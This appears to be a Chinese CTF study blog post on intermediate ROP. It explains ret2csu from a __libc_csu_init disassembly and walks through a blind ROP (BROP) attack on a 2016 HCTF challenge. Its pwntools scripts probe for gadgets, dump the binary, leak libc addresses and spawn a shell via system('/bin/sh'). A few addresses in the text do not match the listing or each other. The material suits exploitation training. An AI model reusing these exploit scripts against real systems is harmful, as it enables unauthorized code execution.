PWN学习之中级ROP

ret2csu

详细分析参见ctf-wiki

64位程序传参规则

1
2
前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
数超过六个时,从第七个开始压入栈中

__libc_csu_init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 __libc_csu_init endp

这里我们可以利用以下几点

  • 从 0x00000000004006AA 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
  • 从 0x0000000000400690 到 0x0000000000400699,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

从0x4006AA到结尾,中间还有可以利用的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ x/5i 0x00000000004006AA
=> 0x4006aa <__libc_csu_init+90>: pop rbx
0x4006ab <__libc_csu_init+91>: pop rbp
0x4006ac <__libc_csu_init+92>: pop r12
0x4006ae <__libc_csu_init+94>: pop r13
0x4006b0 <__libc_csu_init+96>: pop r14
gdb-peda$ x/5i 0x00000000004006AA+3
0x4006ad <__libc_csu_init+93>: pop rsp ##rsp
0x4006ae <__libc_csu_init+94>: pop r13
0x4006b0 <__libc_csu_init+96>: pop r14
0x4006b2 <__libc_csu_init+98>: pop r15
0x4006b4 <__libc_csu_init+100>: ret
gdb-peda$ x/5i 0x00000000004006AA+5
0x4006af <__libc_csu_init+95>: pop rbp ##rbp
0x4006b0 <__libc_csu_init+96>: pop r14
0x4006b2 <__libc_csu_init+98>: pop r15
0x4006b4 <__libc_csu_init+100>: ret
0x4006b5: data16 nop WORD PTR cs:[rax+rax*1+0x0]
gdb-peda$ x/5i 0x00000000004006AA+7
0x4006b1 <__libc_csu_init+97>: pop rsi ##rsi
0x4006b2 <__libc_csu_init+98>: pop r15
0x4006b4 <__libc_csu_init+100>: ret
0x4006b5: data16 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006c0 <__libc_csu_fini>: repz ret
gdb-peda$ x/5i 0x00000000004006AA+9
0x4006b3 <__libc_csu_init+99>: pop rdi ##rdi
0x4006b4 <__libc_csu_init+100>: ret
0x4006b5: data16 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006c0 <__libc_csu_fini>: repz ret
0x4006c2: add BYTE PTR [rax],al

可以用ROPgadget进行验证

BROP

以2016hctf的出题人失踪为例。攻击思路

1
2
3
4
5
6
1、确定栈溢出长度
2、寻找stop_gadget
3、识别brop_gadget
4、确定puts@plt地址
5、泄露puts@got地址
6、根据puts@got的地址泄露出puts的地址,然后找到对应的libc,最后确定system和/bin/sh的地址

确定栈溢出长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
def getbufferflow_length():
i = 1
while 1:
try:
p = process("./brop")
p.recvuntil("WelCome my friend,Do you know password?\n")
p.send(i*'a')
output = p.recv()
p.close()
if not output.startswith("No password"):
return i-1
else:
i = i+1
except EOFError:
p.close()
return i - 1
length = getbufferflow_length()
print length

length = 72。同时,根据回显信息可以发现程序并没有开启 canary 保护,否则,就会有相应的报错内容。所以我们不需要执行 stack reading。

寻找stop_gadget

stop_gadget不会使程序崩溃,即某一程序开始的地址

在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
def get_stop_addr(length):
addr = 0x400000
while 1:
print hex(addr)
try:
p = process("./brop")
p.recvuntil("password?\n")
payload = length * 'a' + p64(addr)
p.sendline(payload)
p.recv()
p.close()
print "one success addr: 0x%x" %(addr)
return addr
except Exception:
addr += 1
p.close()
length = 72
stop_gadget = get_stop_addr(length)

有不少满足的的地址,这里选择近似main函数的 0x4006b6

识别brop_gadget

这里需要rdi ret;因此brop_gadget可以为__libc_csu_init中gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
def get_brop_gadget(length,stop_addr,addr):
try:
p = process("./brop")
p.recvuntil("password?\n")
payload = 'a' * length + p64(addr)+p64(0)*6+p64(stop_addr)+p64(0)*10
p.sendline(payload)
content = p.recv()
p.close()
print content
if not content.startswith('WelCome'):
return False
return True
except Exception:
p.close()
return False

def check_brop_gadget(length,addr):
try:
p = process("./brop")
p.recvuntil("password?\n")
payload = 'a'*length+p64(addr)+p64(0)*80
p.sendline(payload)
content = p.recv()
p.close()
return False
except Exception:
p.close()
return True
def find_brop_gadget():
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length,stop_gadget,addr):
print "possible brop gadget: 0x%x"%(addr)
if check_brop_gadget(length,addr):
print "success brop gadget: 0x%x"%(addr)
break
addr += 1
length = 72
stop_gadget = 0x4006b6
find_brop_gadget()

brop_gadget = 0x4007ba,所以rdi_ret=brop_gadget+9

确定puts@plt地址

在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。因此可以构造

1
payload = 'a'*72+(rdi_ret)+p64(0x400000)+p64(puts_plt)+p64(stop_gadget)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
def get_puts_addr(length,rdi_ret,stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
p = process("./brop")
p.recvuntil("password?\n")
payload = 'a'*length + p64(rdi_ret) + p64(0x400000)+p64(addr)+p64(stop_gadget)
p.sendline(payload)
try:
content = p.recv()
if content.startswith('\x7fELF'):
print "find puts@plt addr: 0x%x"%(addr)
return addr
p.close()
addr += 1
except Exception:
p.close()
addr += 1
length = 72
stop_gadget = 0x4006b6
rdi_ret = 0x4007ba+9
puts_plt = get_puts_addr(length,rdi_ret,stop_gadget)

puts_plt = 0x400555

泄露puts@got地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
length = 72
stop_gadget = 0x4006b6
rdi_ret = 0x4007ba+9
puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length,rdi_ret,puts_plt,addr,stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code1', 'wb') as f:
f.write(result)

生成的文件code1用ida的binary形式打开,找到偏移为0x555处,按c查看汇编代码

puts_got = 0x400000+0x201018 = 0x601018

exploit

利用libcsearcher的时候打不通,只好调用本地libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import LibcSearcher

length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9
puts_plt = 0x400555
puts_got = 0x601018

sh = process('./brop')
sh.recvuntil('password?\n')

payload = 'a'*length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome',drop=True)
puts_addr = u64(data.ljust(8,'\x00'))
print(hex(puts_addr))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search("/bin/sh"))

#libc = LibcSearcher('puts',puts_addr)
#libc_base = puts_addr - libc.dump('puts')
log.success('libc_base:0x%x' %libc_base)
#system_addr = libc_base + libc.dump('system')
#binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

结果如下:

-------------本文结束感谢您的阅读-------------